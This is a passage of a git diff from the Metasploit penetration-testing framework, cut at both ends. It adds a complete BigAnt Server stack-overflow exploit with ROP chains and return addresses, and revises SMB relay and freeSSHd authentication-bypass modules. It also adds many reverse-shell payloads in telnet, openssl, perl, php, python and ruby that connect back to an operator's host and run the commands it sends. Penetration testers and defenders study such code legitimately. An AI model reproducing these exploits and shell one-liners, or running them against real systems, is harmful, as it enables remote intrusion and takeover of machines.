print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + end + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{mof_name} uploaded successfully") + register_file_for_cleanup(exe_name) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + end + + end + +end diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb new file mode 100644 index 000000000000..f72d6c171d24 --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The + vulnerability is due to the dangerous usage of strcpy while handling errors. This + module uses a combination of SCH and DUPF request to trigger the vulnerability, and + has been tested successfully against version 2.97 SP7 over Windows XP SP3 and + Windows 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6275' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89344' ] + ], + 'Payload' => + { + 'Space' => 2500, + 'BadChars' => "\x00\x0a\x0d\x25\x27", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', + { + 'Offset' => 629, + 'Ret' => 0x77c21ef4, # ppr from msvcrt + 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt + 'FakeObject' => 0x77C60410 # .data from msvcrt + } + ], + [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', + { + 'Offset' => 629, + 'Ret' => 0x77bb287a, # ppr from msvcrt + 'FakeObject' => 0x77bf2460, # .data from msvcrt + :callback_rop => :w2003_sp2_rop + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options([Opt::RPORT(6661)], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def w2003_sp2_rop + rop_gadgets = + [ + 0x77bc5d88, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bc5d88, # POP EAX # RETN + 0x03C0990F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bc5d88, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bc5d88, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + + return rop_gadgets + end + + def exploit + + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack("V") + sploit << [target['FakeObject']].pack("V") + sploit << [target['FakeObject']].pack("V") + if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + sploit << self.send(target[:callback_rop]) + else + sploit << [target['JmpESP']].pack("V") + end + sploit << payload.encoded + + random_filename = rand_text_alpha(4) + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + random_userid = rand_text_numeric(1) + random_username = rand_text_alpha_lower(5) + random_content = rand_text_alpha(10 + rand(10)) + + sch = "SCH 16\n" + sch << "cmdid: 1\n" + sch << "content-length: 0\n" + sch << "content-type: Appliction/Download\n" + sch << "filename: #{random_filename}.txt\n" + sch << "modified: #{random_date}\n" + sch << "pclassid: 102\n" + sch << "pobjid: 1\n" + sch << "rootid: 1\n" + sch << "sendcheck: 1\n" + sch << "source_cmdname: DUPF\n" + sch << "source_content-length: 116619\n" + sch << "userid: #{random_userid}\n" + sch << "username: #{sploit}\n\n" + + print_status("Trying target #{target.name}...") + + connect + print_status("Sending SCH request...") + sock.put(sch) + res = sock.get_once + if res.nil? + fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + end + if res=~ /scmderid: \{(.*)\}/ + scmderid = $1 + else + fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + end + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{random_content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{random_filename}.txt\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "scmderid: {#{scmderid}}\n" + dupf << "sendcheck: 1\n" + dupf << "userid: #{random_userid}\n" + dupf << "username: #{random_username}\n\n" + dupf << random_content + + print_status("Sending DUPF request...") + sock.put(dupf) + #sock.get_once + disconnect + + end + +end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index dfc48fc27d3b..135132c9b65e 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,9 +72,8 @@ def initialize(info={}) def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.host) datastore['RPORT'] = datastore['HTTPPORT'] - res = send_request_raw({'uri'=>uri}) + res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 0bc45cb8a4f9..bbbcb2c34cbc 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload register_options( [ - OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]) + OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), + OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) ], self.class ) end @@ -124,8 +125,8 @@ def smb_haxor(c) return end - print_status("Connecting to the ADMIN$ share...") - rclient.connect("ADMIN$") + print_status("Connecting to the defined share...") + rclient.connect(datastore['SHARE']) @pwned[smb[:rhost]] = true @@ -155,8 +156,8 @@ def smb_haxor(c) print_status("Created \\#{filename}...") - # Disconnect from the ADMIN$ - rclient.disconnect("ADMIN$") + # Disconnect from the SHARE + rclient.disconnect(datastore['SHARE']) print_status("Connecting to the Service Control Manager...") rclient.connect("IPC$") @@ -295,7 +296,7 @@ def smb_haxor(c) rclient.disconnect("IPC$") print_status("Deleting \\#{filename}...") - rclient.connect("ADMIN$") + rclient.connect(datastore['SHARE']) rclient.delete("\\#{filename}") end diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 1bf45ab16f90..8d057a4a7f5c 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,6 +1,12 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## require 'msf/core' -require 'tempfile' + class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -42,9 +48,16 @@ def initialize(info={}) register_options( [ - OptInt.new('RPORT', [false, 'The target port', 22]), - OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator']) + Opt::RPORT(22), + OptString.new('USERNAME', [false, 'A specific username to try']), + OptPath.new( + 'USER_FILE', + [ true, "File containing usernames, one per line", + # Defaults to unix_users.txt, because this is the closest one we can try + File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ] + ) ], self.class) + end def load_netssh @@ -60,9 +73,9 @@ def check connect banner = sock.recv(30) disconnect - if banner =~ /SSH-2.0-WeOnlyDo/ + if banner =~ /SSH\-2\.0\-WeOnlyDo/ version=banner.split(" ")[1] - return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/ + return Exploit::CheckCode::Vulnerable if version =~ /(2\.1\.3|2\.0\.6)/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe @@ -85,9 +98,8 @@ def upload_payload(connection) raise ArgumentError end cmds.each { |cmd| - ret = connection.exec!("cmd.exe /c "+cmd) + connection.exec!("cmd.exe /c "+cmd) } - end def setup_ssh_options @@ -103,7 +115,7 @@ def setup_ssh_options end def do_login(username,options) - print_status("Trying username "+username) + print_status("Trying username '#{username}'") options[:username]=username transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options) @@ -114,15 +126,36 @@ def do_login(username,options) Timeout.timeout(10) do connection.exec!('cmd.exe /c echo') end - rescue RuntimeError + rescue RuntimeError return nil - rescue Timeout::Error + rescue Timeout::Error print_status("Timeout") return nil end return connection end + # + # Cannot use the auth_brute mixin, because if we do, a payload handler won't start. + # So we have to write our own each_user here. + # + def each_user(&block) + user_list = [] + if datastore['USERNAME'] and !datastore['USERNAME'].empty? + user_list << datastore['USERNAME'] + else + f = File.open(datastore['USER_FILE'], 'rb') + buf = f.read + f.close + + user_list = (user_list | buf.split).uniq + end + + user_list.each do |user| + block.call(user) + end + end + def exploit # # Load net/ssh so we can talk the SSH protocol @@ -133,21 +166,22 @@ def exploit return end - options=setup_ssh_options + options = setup_ssh_options connection = nil - usernames=datastore['USERNAMES'].split(' ') - usernames.each { |username| + each_user do |username| + next if username.empty? connection=do_login(username,options) break if connection - } + end if connection - print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)") + print_status("Uploading payload, this may take several minutes...") upload_payload(connection) handler end end + end diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb new file mode 100644 index 000000000000..b675712c9aa0 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => %q{ + Creates an interactive shell via mknod and telnet. + This method works on Debian and other systems compiled + without /dev/tcp support. This module uses the '-z' + option included on some systems to encrypt using SSL. + }, + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bash', + 'RequiredCmd' => 'bash-tcp', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) + cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb new file mode 100644 index 000000000000..ab9c0c2a130f --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -0,0 +1,58 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Description' => 'Creates an interactive shell through two inbound connections', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb new file mode 100644 index 000000000000..96724f20e753 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via perl, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);" + cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");" + cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb new file mode 100644 index 000000000000..9892515e26a5 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -0,0 +1,61 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via php, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'php', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb new file mode 100644 index 000000000000..a7e232d24b35 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\"" + cmd += ' >/dev/null 2>&1 &' + return cmd + + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb new file mode 100644 index 000000000000..6743def9e98e --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -0,0 +1,49 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + vprint_good(command_string) + return super + command_string + end + + def command_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb new file mode 100644 index 000000000000..593e69d71612 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -0,0 +1,67 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', + 'Author' => [ + 'hdm', # Original module + 'RageLtMan', # SSL support + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'telnet', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index 37bb01b97d3a..837e089ef689 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -48,7 +48,7 @@ def command_string lhost = datastore['LHOST'] ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" + cmd = %{perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\\"#{lhost}:#{datastore['LPORT']}\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"} end end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb new file mode 100644 index 000000000000..ca70b1087924 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -0,0 +1,77 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd += "import socket,subprocess,os,ssl\n" + cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s=ssl.wrap_socket(so)\n" + # The actual IO + cmd += "#{dead}=False\n" + cmd += "while not #{dead}:\n" + cmd += "\tdata=s.recv(1024)\n" + cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" + cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" + cmd += "\ts.send(stdout_value)\n" + + # The *nix shell wrapper to keep things clean + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + return cmd + + end + +end diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index c7ccfff7b985..8a095ec25f89 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ def initialize(info = {}) end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 2e3926ca37af..e0860b0074a7 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ def initialize(info = {}) end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 0e149754cf5d..0bffe8832228 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 